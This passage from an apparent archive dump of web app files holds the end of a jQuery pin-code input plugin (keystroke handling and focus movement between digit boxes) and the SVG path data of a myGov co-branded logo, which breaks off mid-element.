								            e.preventDefault();     // Prevent character input
								            e.stopPropagation();  
								            
								    }
								
							}

						 this.settings.keydown(e);
		            },this));
	        		
//	        		input.on('blur', $.proxy(function(e) {
//	        			if(!this._isTouchDevice()) {
//		        			if (e != null && $(e).val()) {
//		        				console.log("not null" + $(e).val());
//		        				$("#tstspan").text($(e).val());
//		        				pinCreation.validate($(this));
//		        			}
//	        			}
//	        		};
	        		

	        		input.on('keyup', $.proxy(function(e){
			        	// after every keystroke we check if all inputs have a value, if yes we call complete callback
	        			if(!this._isTouchDevice()){
		        			// on backspace or delete go to previous input box
		        			if(e.keyCode  == 8 || e.keyCode  == 46){
		        				// goto previous
		        				$(e.currentTarget).prev().select();
		    					$(e.currentTarget).prev().focus();
		        			}else{
		        				if($(e.currentTarget).val()!=""){
		            				$(e.currentTarget).next().select();
		        					$(e.currentTarget).next().focus();
		        				}
		        			}
	        			}
	        			
						// update original input box
	        			this.updateOriginalInput();

	        			// oncomplete check
	        			if(this.check()){
	        				this.settings.complete($(this.element).val(), e, this._error);
	        			}
	        			
	        			//onchange event for each input
	        			if(this.settings.change){
	        				this.settings.change(e.currentTarget,$(e.currentTarget).val(),inputnumber);
	        			}
	
	        			
	        			// prevent more input for touch device (we can't limit it)
						if(this._isTouchDevice()){
							if(e.keyCode  == 8 || e.keyCode  == 46){
								// do nothing on backspace and delete								
							}else{
								if($(this.element).val().length == this.settings.inputs){
								    $(e.currentTarget).blur();
									//$(e.currentTarget).focus();
								}
							}
							if($(this.element).val().length > 0){
                                //$(this.element).val($(this.element).val().toString().replace(/[^0-9]/g, ''));
                                var newLineCheck = $(this.element).val().toString().replace(/\r?\n|\r/g, '');
                                $('.pincode-input-text',this._container).each(function( index, value ) {
                                    $(value).val(newLineCheck);
                                });
                                this.updateOriginalInput();
                            }
						}
	        			
			        },this));
				}


		});

		// A really lightweight plugin wrapper around the constructor,
		// preventing against multiple instantiations
		$.fn[ pluginName ] = function ( options ) {
				return this.each(function() {
						if ( !$.data( this, "plugin_" + pluginName ) ) {
								$.data( this, "plugin_" + pluginName, new Plugin( this, options ) );
						}
				});
		};

})( jQuery, window, document );



mygov/app/sms_files/myGov-cobranded-logo-black.svg000064400000175217151676702570016257 0ustar00<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 693.47 150.57"><defs><style>.cls-1{fill:#231f20;}</style></defs><path class="cls-1" d="M420,22.09a8.76,8.76,0,0,0-8.76,8.76V53.51L455,97.33l-43.82,43.81v22.67A8.75,8.75,0,0,0,426.12,170l72.71-72.69L426.15,24.65a8.75,8.75,0,0,0-6.2-2.56Z" transform="translate(-23 -22)"/><path class="cls-1" d="M382.31,24.63a8.76,8.76,0,0,0-14.93,6.22V163.78a8.76,8.76,0,0,0,15,6.18l28.81-28.82V53.51L382.31,24.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M42.11,167.84,34.5,150.55h-.29l-7.54,16.82a12.72,12.72,0,0,1-1.81,3.19,3.17,3.17,0,0,1-1.86.94v.57h7v-.57a6,6,0,0,1-2.07-.38,1.4,1.4,0,0,1-.71-1.31,4.58,4.58,0,0,1,.43-1.69l.89-2.05H36l1.12,2.63c.29.68.44,1.07.46,1.16a2,2,0,0,1,.1.58.82.82,0,0,1-.35.71,3.13,3.13,0,0,1-1.72.35h-.42v.57h10.2v-.57a2.41,2.41,0,0,1-1.49-.57,10.4,10.4,0,0,1-1.79-3.09Zm-13-2.92,3.24-7.26,3.14,7.26Z" transform="translate(-23 -22)"/><path class="cls-1" d="M58.31,168.92V157.53H52.39v.58a1.86,1.86,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v7.77a6.46,6.46,0,0,1-1.49,1.63,1.79,1.79,0,0,1-1,.3,1.28,1.28,0,0,1-.75-.23,1.38,1.38,0,0,1-.46-.69,8.14,8.14,0,0,1-.15-2v-9.93H44.18v.58a1.86,1.86,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v5.76a13,13,0,0,0,.33,3.54,3.72,3.72,0,0,0,1.27,1.77,3.49,3.49,0,0,0,2.19.74,4.75,4.75,0,0,0,2.33-.56A7.51,7.51,0,0,0,54,170.13v1.94h5.93v-.56a1.82,1.82,0,0,1-1.27-.51,4.34,4.34,0,0,1-.31-2.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M67.32,162.68a15.49,15.49,0,0,1-2.78-2.19,1.29,1.29,0,0,1-.31-.81,1.33,1.33,0,0,1,.45-1,1.54,1.54,0,0,1,1.09-.43,3.25,3.25,0,0,1,2,.81,7.72,7.72,0,0,1,2,3h.54l-.24-5h-.53a3.33,3.33,0,0,1-.55.67.92.92,0,0,1-.44.1,1.46,1.46,0,0,1-.69-.23,5,5,0,0,0-2.29-.58,4.23,4.23,0,0,0-3.36,1.37,4.6,4.6,0,0,0-1.14,3,4.38,4.38,0,0,0,1,2.81,16.4,16.4,0,0,0,3.08,2.52,11.42,11.42,0,0,1,2.08,1.65,1.92,1.92,0,0,1,.47,1.29,1.53,1.53,0,0,1-.48,1.12,1.67,1.67,0,0,1-1.22.45,3.69,3.69,0,0,1-2.31-1,6.7,6.7,0,0,1-1.91-3.08h-.53l.25,5.23H62c.23-.52.51-.78.85-.78a2.06,2.06,0,0,1,.64.17,8.65,8.65,0,0,0,2.79.66,5,5,0,0,0,2.44-.63,4.32,4.32,0,0,0,1.71-1.78,5.07,5.07,0,0,0,.6-2.39,4.2,4.2,0,0,0-.73-2.41,11.08,11.08,0,0,0-3-2.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M77.76,152.21h-.52a17,17,0,0,1-2.41,3.41,20.51,20.51,0,0,1-3.32,2.91v.54H73.4v7.85a14.75,14.75,0,0,0,.16,2.86,3.45,3.45,0,0,0,1.21,1.73,3.68,3.68,0,0,0,2.35.76,4.25,4.25,0,0,0,4.09-3l-.47-.34c-.6,1-1.24,1.54-1.91,1.54a.93.93,0,0,1-.55-.22,1.24,1.24,0,0,1-.41-.59,6.93,6.93,0,0,1-.11-1.63v-9h3.45v-1.54H77.76v-5.32Z" transform="translate(-23 -22)"/><path class="cls-1" d="M92.94,157.1a3.8,3.8,0,0,0-2.1.74,10.67,10.67,0,0,0-2.53,3v-3.3H82.37v.58a2.36,2.36,0,0,1,1,.27,1.24,1.24,0,0,1,.45.64,5.68,5.68,0,0,1,.13,1.59v8a4.78,4.78,0,0,1-.35,2.35,1.69,1.69,0,0,1-1.27.51v.56h7.85v-.56a3.48,3.48,0,0,1-1.24-.23,1.36,1.36,0,0,1-.55-.63,3.58,3.58,0,0,1-.11-1.13v-4.21A10.59,10.59,0,0,1,88.8,162a3.22,3.22,0,0,1,1-1.51,1.29,1.29,0,0,1,.86-.34.68.68,0,0,1,.35.09c.07,0,.31.24.72.59a2.11,2.11,0,0,0,1.43.53,1.55,1.55,0,0,0,1.21-.57,2.39,2.39,0,0,0,.52-1.62,2,2,0,0,0-.54-1.51,1.77,1.77,0,0,0-1.38-.54Z" transform="translate(-23 -22)"/><path class="cls-1" d="M107.85,170.28a.56.56,0,0,1-.36-.12.79.79,0,0,1-.23-.38,6,6,0,0,1-.08-1.26v-5.64a12.51,12.51,0,0,0-.22-3,4,4,0,0,0-1.57-1.9,5.39,5.39,0,0,0-3.26-.88,9.85,9.85,0,0,0-3.3.54,5.5,5.5,0,0,0-2.48,1.57,3.18,3.18,0,0,0-.88,2.13,1.82,1.82,0,0,0,.66,1.39,2.38,2.38,0,0,0,1.64.58,2.07,2.07,0,0,0,1.48-.52,1.75,1.75,0,0,0,.58-1.31,2,2,0,0,0-.6-1.29,1.34,1.34,0,0,1-.43-.81.77.77,0,0,1,.4-.65,2.87,2.87,0,0,1,1.66-.45,2,2,0,0,1,1.13.32,1.61,1.61,0,0,1,.66.75,6.5,6.5,0,0,1,.19,2.07v1.46a26.31,26.31,0,0,0-6.23,3.55,4,4,0,0,0-1.43,3,2.76,2.76,0,0,0,.82,2.05,2.84,2.84,0,0,0,2.07.81q2.1,0,4.77-2.35a2.72,2.72,0,0,0,.86,1.78,3,3,0,0,0,1.94.57,3.49,3.49,0,0,0,1.88-.51,5.94,5.94,0,0,0,1.62-1.68l-.46-.37a1.13,1.13,0,0,1-.83.57Zm-5-1.49a3,3,0,0,1-1.8.87,1.45,1.45,0,0,1-1.09-.42,1.79,1.79,0,0,1-.52-1.26,2.93,2.93,0,0,1,.61-1.7,9,9,0,0,1,2.8-2.36v4.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.48,169.05V151h-6.1v.58a1.9,1.9,0,0,1,1.39.5,3.47,3.47,0,0,1,.35,1.94v15.05a3.46,3.46,0,0,1-.31,1.9,1.9,1.9,0,0,1-1.43.56v.56h7.85v-.56a2,2,0,0,1-1.4-.48,3.53,3.53,0,0,1-.35-2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119.74,152.9a2.39,2.39,0,0,0,2.39,2.39,2.32,2.32,0,0,0,1.7-.7,2.4,2.4,0,0,0-1.7-4.1,2.25,2.25,0,0,0-1.69.71,2.3,2.3,0,0,0-.7,1.7Z" transform="translate(-23 -22)"/><path class="cls-1" d="M124.31,169.05V157.53h-6.1v.58a1.9,1.9,0,0,1,1.39.49,3.44,3.44,0,0,1,.35,2v8.49a3.46,3.46,0,0,1-.31,1.9,1.9,1.9,0,0,1-1.43.56v.56h7.85v-.56a1.94,1.94,0,0,1-1.39-.48,3.5,3.5,0,0,1-.36-2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M139.55,170.28a.55.55,0,0,1-.35-.12.67.67,0,0,1-.23-.38,5.11,5.11,0,0,1-.09-1.26v-5.64a12.71,12.71,0,0,0-.21-3,4,4,0,0,0-1.57-1.9,5.37,5.37,0,0,0-3.26-.88,9.85,9.85,0,0,0-3.3.54,5.55,5.55,0,0,0-2.48,1.57,3.18,3.18,0,0,0-.88,2.13,1.81,1.81,0,0,0,.65,1.39,2.41,2.41,0,0,0,1.65.58,2.09,2.09,0,0,0,1.48-.52,1.74,1.74,0,0,0,.57-1.31,2,2,0,0,0-.59-1.29,1.36,1.36,0,0,1-.44-.81.79.79,0,0,1,.41-.65,2.87,2.87,0,0,1,1.66-.45,2,2,0,0,1,1.13.32,1.64,1.64,0,0,1,.67.75,7,7,0,0,1,.18,2.07v1.46a26.67,26.67,0,0,0-6.24,3.55,4,4,0,0,0-1.43,3,2.77,2.77,0,0,0,.83,2.05,2.8,2.8,0,0,0,2.07.81c1.4,0,3-.78,4.77-2.35a2.71,2.71,0,0,0,.85,1.78,3,3,0,0,0,1.94.57,3.52,3.52,0,0,0,1.89-.51,5.94,5.94,0,0,0,1.62-1.68l-.47-.37c-.28.38-.55.57-.83.57Zm-5-1.49a3,3,0,0,1-1.81.87,1.42,1.42,0,0,1-1.08-.42,1.74,1.74,0,0,1-.51-1.26,2.91,2.91,0,0,1,.6-1.7,9.17,9.17,0,0,1,2.8-2.36v4.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M155.31,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.69,3.69,0,0,0-1.25-1.94,3.47,3.47,0,0,0-2.34-.79,4.46,4.46,0,0,0-2.21.56,8.39,8.39,0,0,0-2.15,1.75v-1.88h-5.92v.58a1.86,1.86,0,0,1,1.26.52,4.18,4.18,0,0,1,.31,2.06v8.21a4.27,4.27,0,0,1-.27,2,1.79,1.79,0,0,1-1.3.59v.56h7.36v-.56a1.58,1.58,0,0,1-1.14-.54,4.38,4.38,0,0,1-.3-2.07v-7.79q1.15-1.92,2.49-1.92a1.12,1.12,0,0,1,.73.27,1.29,1.29,0,0,1,.48.71,10,10,0,0,1,.15,2.26v6.47a4.29,4.29,0,0,1-.26,1.92,1.5,1.5,0,0,1-1.17.69v.56h7.35v-.56a1.85,1.85,0,0,1-1.28-.51,4.61,4.61,0,0,1-.29-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M177.74,163.8h.55a2.73,2.73,0,0,1,1.29.29,1.6,1.6,0,0,1,.71.67,4.49,4.49,0,0,1,.17,1.6v4.39a10.9,10.9,0,0,1-1.65.48,8.24,8.24,0,0,1-1.55.16,6.65,6.65,0,0,1-3.8-1.08,6.12,6.12,0,0,1-2.3-3.35,17.83,17.83,0,0,1-.71-5.33,18.58,18.58,0,0,1,.65-4.88,7.24,7.24,0,0,1,2.22-3.7,5.87,5.87,0,0,1,3.94-1.33,7.3,7.3,0,0,1,4.55,1.58,9.37,9.37,0,0,1,3.13,4.64h.58V150.5h-.58a2.87,2.87,0,0,1-.69,1.22,1.24,1.24,0,0,1-.8.31,8.9,8.9,0,0,1-1.82-.58,13.93,13.93,0,0,0-2.21-.71,14.32,14.32,0,0,0-2.83-.25,11.51,11.51,0,0,0-8.41,3.28,10.8,10.8,0,0,0-3.34,8,10.55,10.55,0,0,0,1.08,4.8,10.2,10.2,0,0,0,2.37,3,12.76,12.76,0,0,0,3.5,2.15,13.29,13.29,0,0,0,5,.81,21.59,21.59,0,0,0,4.52-.47,20.56,20.56,0,0,0,4.22-1.35v-4.39a4.57,4.57,0,0,1,.14-1.45,1.56,1.56,0,0,1,.7-.79,4.44,4.44,0,0,1,1.63-.32v-.58H177.74v.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M199.14,158.07a6.78,6.78,0,0,0-3.53-1,5.93,5.93,0,0,0-5,2.33,8.55,8.55,0,0,0-1.81,5.44,8.44,8.44,0,0,0,1.78,5.33,6,6,0,0,0,5,2.3A6.23,6.23,0,0,0,200.9,170a8.41,8.41,0,0,0,1.57-5.18,9.18,9.18,0,0,0-.86-4,6.25,6.25,0,0,0-2.47-2.78Zm-1.56,11.49a2.58,2.58,0,0,1-.8,1.48,1.76,1.76,0,0,1-1.17.39,1.7,1.7,0,0,1-1.27-.58,3,3,0,0,1-.74-1.68,21.43,21.43,0,0,1-.22-3.1c0-2.1.06-3.73.18-4.9a4.12,4.12,0,0,1,.75-2.36,1.8,1.8,0,0,1,1.36-.61,1.62,1.62,0,0,1,1.06.33,2.71,2.71,0,0,1,.87,1.44,14.56,14.56,0,0,1,.3,3.63,34.05,34.05,0,0,1-.32,6Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.34,157.53h-4.76v.58a2,2,0,0,1,1.22.33,1,1,0,0,1,.36.78,9.38,9.38,0,0,1-.82,2.87l-1.91,4.71-2.4-5.46a7.13,7.13,0,0,1-.68-2.16,1.06,1.06,0,0,1,.37-.81,1.45,1.45,0,0,1,1-.26v-.58H202v.58a1.79,1.79,0,0,1,1,.54,10.58,10.58,0,0,1,1.39,2.58l4.9,11.28h.73l4.85-11.42a9.4,9.4,0,0,1,1.31-2.47,1.91,1.91,0,0,1,1.12-.51v-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M227,158.91a5,5,0,0,0-3.83-1.81,6.09,6.09,0,0,0-4.62,2.16,8.26,8.26,0,0,0-2,5.78,8.81,8.81,0,0,0,1.34,5,5.52,5.52,0,0,0,4.9,2.48,5.65,5.65,0,0,0,3.31-1,8.85,8.85,0,0,0,2.61-3.42l-.52-.34a7,7,0,0,1-1.64,1.88,3,3,0,0,1-1.69.51,3.24,3.24,0,0,1-2.58-1.29,7.44,7.44,0,0,1-1.54-4.57h8a8.2,8.2,0,0,0-1.75-5.37Zm-6.3,4.33v-.55a6.73,6.73,0,0,1,.92-3.79,1.52,1.52,0,0,1,1.32-.79,1.31,1.31,0,0,1,.87.27,2.81,2.81,0,0,1,.84,1.42,13.79,13.79,0,0,1,.28,3.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M240.3,157.1a3.75,3.75,0,0,0-2.09.74,10.5,10.5,0,0,0-2.54,3v-3.3h-5.94v.58a2.28,2.28,0,0,1,1,.27,1.24,1.24,0,0,1,.45.64,5.68,5.68,0,0,1,.13,1.59v8A4.82,4.82,0,0,1,231,171a1.7,1.7,0,0,1-1.28.51v.56h7.86v-.56a3.49,3.49,0,0,1-1.25-.23,1.29,1.29,0,0,1-.54-.63,3.58,3.58,0,0,1-.11-1.13l0-.87v-3.34a10.58,10.58,0,0,1,.5-3.33,3.15,3.15,0,0,1,1-1.51,1.28,1.28,0,0,1,.85-.34.74.74,0,0,1,.36.09,8.94,8.94,0,0,1,.71.59,2.13,2.13,0,0,0,1.43.53,1.57,1.57,0,0,0,1.22-.57,2.44,2.44,0,0,0,.51-1.62,2,2,0,0,0-.53-1.51,1.79,1.79,0,0,0-1.39-.54Z" transform="translate(-23 -22)"/><path class="cls-1" d="M257.27,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.67,3.67,0,0,0-1.24-1.94,3.5,3.5,0,0,0-2.35-.79,4.48,4.48,0,0,0-2.21.56,8.37,8.37,0,0,0-2.14,1.75v-1.88h-5.93v.58a1.83,1.83,0,0,1,1.26.52,4,4,0,0,1,.32,2.06v8.21a4.42,4.42,0,0,1-.27,2,1.82,1.82,0,0,1-1.31.59v.56h7.36v-.56a1.62,1.62,0,0,1-1.14-.54,4.57,4.57,0,0,1-.29-2.07v-7.79q1.15-1.92,2.49-1.92a1.14,1.14,0,0,1,.73.27,1.35,1.35,0,0,1,.48.71,11,11,0,0,1,.14,2.26v6.47a4.34,4.34,0,0,1-.25,1.92,1.53,1.53,0,0,1-1.18.69v.56h7.35v-.56a1.82,1.82,0,0,1-1.27-.51,4.42,4.42,0,0,1-.3-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M283,168.9v-6a12,12,0,0,0-.35-3.39,3.54,3.54,0,0,0-1.24-1.75,3.78,3.78,0,0,0-2.4-.7,4.94,4.94,0,0,0-2.4.62,9.2,9.2,0,0,0-2.38,2,3.74,3.74,0,0,0-3.81-2.64,4.74,4.74,0,0,0-2.24.53,8,8,0,0,0-2.2,1.81v-1.91H260v.58a1.81,1.81,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v8.21a4.33,4.33,0,0,1-.26,2,1.82,1.82,0,0,1-1.31.59v.56h7.5v-.56a1.62,1.62,0,0,1-1.28-.58,4.53,4.53,0,0,1-.29-2v-7.81a6,6,0,0,1,1.56-1.65,2.08,2.08,0,0,1,1.13-.33,1.21,1.21,0,0,1,.77.29,1.43,1.43,0,0,1,.53.77,10.93,10.93,0,0,1,.16,2.48v6.25a6.37,6.37,0,0,1-.13,1.66,1.27,1.27,0,0,1-.46.65,1.65,1.65,0,0,1-.95.3v.56h7.53v-.56a1.61,1.61,0,0,1-1.37-.64,4.36,4.36,0,0,1-.27-2v-7.81a6.14,6.14,0,0,1,1.39-1.46,2.28,2.28,0,0,1,1.35-.5,1.19,1.19,0,0,1,.78.27,1.4,1.4,0,0,1,.49.77,11.17,11.17,0,0,1,.16,2.48v6.25a4,4,0,0,1-.28,1.92,1.66,1.66,0,0,1-1.31.69v.56h7.51v-.56a1.86,1.86,0,0,1-1.27-.53,4.29,4.29,0,0,1-.3-2.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M295.7,158.91a4.94,4.94,0,0,0-3.82-1.81,6.09,6.09,0,0,0-4.62,2.16,8.21,8.21,0,0,0-1.95,5.78,8.81,8.81,0,0,0,1.33,5,5.51,5.51,0,0,0,4.9,2.48,5.69,5.69,0,0,0,3.31-1,8.85,8.85,0,0,0,2.61-3.42l-.52-.34a7,7,0,0,1-1.64,1.88,3,3,0,0,1-1.69.51,3.24,3.24,0,0,1-2.58-1.29,7.44,7.44,0,0,1-1.54-4.57h8a8.2,8.2,0,0,0-1.76-5.37Zm-6.29,4.33v-.55a6.73,6.73,0,0,1,.92-3.79,1.52,1.52,0,0,1,1.32-.79,1.28,1.28,0,0,1,.86.27,2.82,2.82,0,0,1,.85,1.42,13.79,13.79,0,0,1,.28,3.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M312.14,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.73,3.73,0,0,0-1.24-1.94,3.48,3.48,0,0,0-2.35-.79,4.48,4.48,0,0,0-2.21.56,8.2,8.2,0,0,0-2.14,1.75v-1.88H298v.58a1.81,1.81,0,0,1,1.26.52,4,4,0,0,1,.32,2.06v8.21a4.42,4.42,0,0,1-.27,2,1.8,1.8,0,0,1-1.31.59v.56h7.36v-.56a1.62,1.62,0,0,1-1.14-.54,4.42,4.42,0,0,1-.29-2.07v-7.79q1.14-1.92,2.49-1.92a1.12,1.12,0,0,1,.73.27,1.35,1.35,0,0,1,.48.71,11,11,0,0,1,.14,2.26v6.47a4.34,4.34,0,0,1-.25,1.92,1.53,1.53,0,0,1-1.18.69v.56h7.35v-.56a1.8,1.8,0,0,1-1.27-.51,4.42,4.42,0,0,1-.3-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M319.9,152.21h-.52a17,17,0,0,1-2.41,3.41,20.51,20.51,0,0,1-3.32,2.91v.54h1.89v7.85a14.75,14.75,0,0,0,.16,2.86,3.45,3.45,0,0,0,1.21,1.73,3.66,3.66,0,0,0,2.35.76,4.26,4.26,0,0,0,4.09-3l-.46-.34c-.61,1-1.24,1.54-1.92,1.54a.88.88,0,0,1-.54-.22,1.19,1.19,0,0,1-.42-.59,6.93,6.93,0,0,1-.11-1.63v-9h3.45v-1.54H319.9v-5.32Z" transform="translate(-23 -22)"/><path class="cls-1" d="M148,113.37l-.4.4a1,1,0,0,0,.4-.4Z" transform="translate(-23 -22)"/><path class="cls-1" d="M152.35,84.13a.76.76,0,1,0-.76.77.77.77,0,0,0,.76-.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M159.43,52.72h0l0,22.16c0,2.14.9,4,2.15,4.58l10.55,6.3a1.26,1.26,0,0,0,1.82.1l10.71-6.4c1.26-.57,2.16-2.44,2.16-4.58l0-22.16H159.43Zm4.51,2.14.44,0,.27-.47.26.46.45,0-.21.39.34.35-.44.09v.47l-.4-.3-.41.3v-.47l-.43-.09.34-.35-.21-.39Zm-.12,5c.8,0,.57.77.71.77s0-.77.52-.77c.79,0,1.78,2,.88,2-.38,0-.07-.28-.08-.34s-.21-.18-.29-.18c-.26,0-.36.42-.58.44s-.26,0-.26-.18.32-.25.45-.37c-1.79,0-1.82.81-2.09.81-.47,0,.39-.86.63-1.11-.36-.06-.57-.5-1-.72.18-.27.29-.16.52,0,0-.19.14-.4.55-.4Zm0,6.75.34-.35-.21-.39.44,0,.27-.47.26.46.45,0-.21.39.34.35-.44.08v.48l-.4-.3-.41.3v-.48l-.43-.08Zm-3.6-13.13h2.89v5.68h-2.89V53.47Zm.35,7.65.34-.35-.21-.38.44,0,.26-.47.27.46.45,0-.22.38.34.35-.43.09v.48l-.41-.31-.4.31v-.48l-.43-.09Zm-.35,1.68h2.89v5.38h-2.89V62.8Zm8.34,19.94L162,78.82a4.7,4.7,0,0,1-1.78-3.65V68.93h8.34V82.74Zm0-14.56h-2.37V62.8h2.37v5.38ZM167,60.39l.44,0,.27-.47.26.46.45,0-.21.38.34.35-.44.09v.48l-.4-.31-.41.31v-.48l-.43-.09.34-.35-.21-.38Zm1.59-1.24h-2.37V53.47h2.37v5.68Zm8.46,24L174,85h-.05a1.24,1.24,0,0,1-.8.29,1.27,1.27,0,0,1-.8-.3l-3-1.8V68.93H177V83.19Zm0-15H169.3V53.47H177V68.18Zm9.09,7a4.66,4.66,0,0,1-1.78,3.65l-6.57,3.92V68.93h8.35v6.24Zm0-7h-8.35V53.47h8.35V68.18Z" transform="translate(-23 -22)"/><path class="cls-1" d="M160.55,72.67c0,.11.07.25.25.34-.08.08-.15.27-.15.78,0,1.76,1.1,2.57,1.9,2.57.58,0,.49-.4.55-.6,0,.3.31-.14.31.38s-.55.3-.55.77c0,.62.88,0,.88.66a8,8,0,0,1-.11,1.15c0,.22.92-.31.86-.41.23.09.21.74.62.72s.33-.67.54-.72c-.13,0,.82.62.82.32,0-.81-.33-.47-.33-1s1.13-.41,1-.68-.26-.08-.37-.47c0,.07-.9-1.3.18-.59s1.26-1.72,1.2-1.85-.53.13-.73.24a3.22,3.22,0,0,1,.81-1.06c-.05-.35-.5,0-1,.21,1.56-2.23.56-1.32-.31-1.16,1.4-1.5,1-1.47,0-1,.81-.64,1-1.4.86-1.62-.76,1-1.46.85-1.46,1.79a3.74,3.74,0,0,1-.54,2c-.4.44-.09-1.65-1.16-1.65-.35,0-1.15,0-1.4.38.22,0,.54.56.54.78s.21.83-.15.83-.79-.77-.79-1.14,0-.28,0-.8a3,3,0,0,0-2-2.14c0,.62.8.76.8,1.55-.34,0-.83-.64-.83-.24s.51.47.51.81-.58-.12-.58.25.32.27.4.59c-.24-.07-.45,0-.5.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M197.38,79.81a.8.8,0,1,0-.9-.8.85.85,0,0,0,.9.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M192.83,81.18a.91.91,0,1,0,.9-.8.85.85,0,0,0-.9.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M150.37,85.38a.81.81,0,1,0,.9.8.86.86,0,0,0-.9-.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M153.18,87.21a.8.8,0,1,0-.9-.79.85.85,0,0,0,.9.79Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.91,55.35a5.64,5.64,0,0,0-.67-6c-.33-.34-.09-1.11-.71-1.21-.86,2-.1,4.29.86,6.07.09.39,0,1.06.52,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.27,55.16c.23,0,.19.43.43.19a8.41,8.41,0,0,1,0-3.8,3.45,3.45,0,0,0-1.44-2.36.35.35,0,0,0-.47.09c.47,1.88-.39,4.53,1.48,5.88Z" transform="translate(-23 -22)"/><path class="cls-1" d="M234.74,53c.38-.24.9-.77.62-1.3a1.25,1.25,0,0,0-1.24-.48,1.1,1.1,0,0,0-.58,1.25,1.22,1.22,0,0,0,1.2.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.15,54.87a1.39,1.39,0,0,0,.62-1.06c-.14-.38-.47-.48-.8-.62a1.09,1.09,0,0,0-.92.43.88.88,0,0,0,.19,1c.19.24.63.24.91.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.94,55.84a1.09,1.09,0,0,0,1.29-.44,1.13,1.13,0,0,0,0-.77,1.56,1.56,0,0,0-1-.48,1.5,1.5,0,0,0-.82.87,1.33,1.33,0,0,0,.54.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.54,56.12c.43.15.76-.24,1-.48.05-.29.34-.77,0-1a1.16,1.16,0,0,0-.91-.24,1.06,1.06,0,0,0-.67,1.11c.1.33.38.33.62.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M230.43,56.7c.62-.09.57-.77.57-1.3a1.3,1.3,0,0,0-.95-.53,1.13,1.13,0,0,0-.72,1.15.9.9,0,0,0,1.1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M118.37,56.65c.29-.24.76-.53.62-1a.89.89,0,0,0-1.39-.43c-.09.29-.52.58-.19.91a1,1,0,0,0,1,.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.59,56.7a1,1,0,0,0,.53-.91c-.19-.34-.53-.83-1.05-.63a.8.8,0,0,0-.43,1.1.84.84,0,0,0,1,.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.85,62.2c.68-.63.34-1.83.53-2.75a10.05,10.05,0,0,0-1-3.47c-.14-.24-.14-.72-.52-.58-.28,1.64-1.05,3.62-.19,5.3.43.44.48,1.26,1.14,1.5Z" transform="translate(-23 -22)"/><path class="cls-1" d="M112.68,55.93a1.2,1.2,0,0,0-.63,1.16,1.13,1.13,0,0,0,1.2.67c.33-.33.76-.63.62-1.2a1.22,1.22,0,0,0-1.19-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M227.23,62.58A7,7,0,0,0,227,58a1.88,1.88,0,0,1-.77-1.44c-.14-.29-.33-.58-.67-.34a6.48,6.48,0,0,0-.58,2.75,18.8,18.8,0,0,0,2,3.9l.29-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.72,56.51a1,1,0,0,0-.52,1.16.86.86,0,0,0,1.1.57,1.2,1.2,0,0,0,.71-1.15c-.23-.38-.76-.87-1.29-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.45,59.5a1,1,0,0,0,.72-.92c-.1-.48-.53-.67-1-.92-.29.1-.62.1-.77.39a1.18,1.18,0,0,0,0,1.11c.34.15.63.63,1,.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.64,58.73c.25.34.53.77,1.1.57.2-.23.73-.47.53-1s-.53-.82-1.1-.67c-.33.28-.62.57-.53,1.06Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.26,60.08c.09-.63,1.05-1.25,1.1-1.89a7.1,7.1,0,0,0-3.88,2.51c-.53.87-1.39,1.74-1.29,2.7a2.28,2.28,0,0,0,1.1-.62,4.89,4.89,0,0,0,3-2.7Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.84,63a.4.4,0,0,0,.33-.49,17.45,17.45,0,0,1-2-2.26c-.62-.82-1.53-1-2.34-1.64-.34.05-1-.38-1.1.15,1.14,1.69,2.72,4.09,5.07,4.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M230.43,66.49c.53.33,1.1-.2,1.63-.39a6.19,6.19,0,0,0,3-5.21h-.39a24.47,24.47,0,0,0-4.21,5.6Z" transform="translate(-23 -22)"/><path class="cls-1" d="M225,63.69a1.18,1.18,0,0,0,.81-1.4c-.24-.23-.38-.48-.67-.58a.75.75,0,0,0-.57.15,1,1,0,0,0-.68,1.06c.25.38.58.82,1.11.77Z" transform="translate(-23 -22)"/><path class="cls-1" 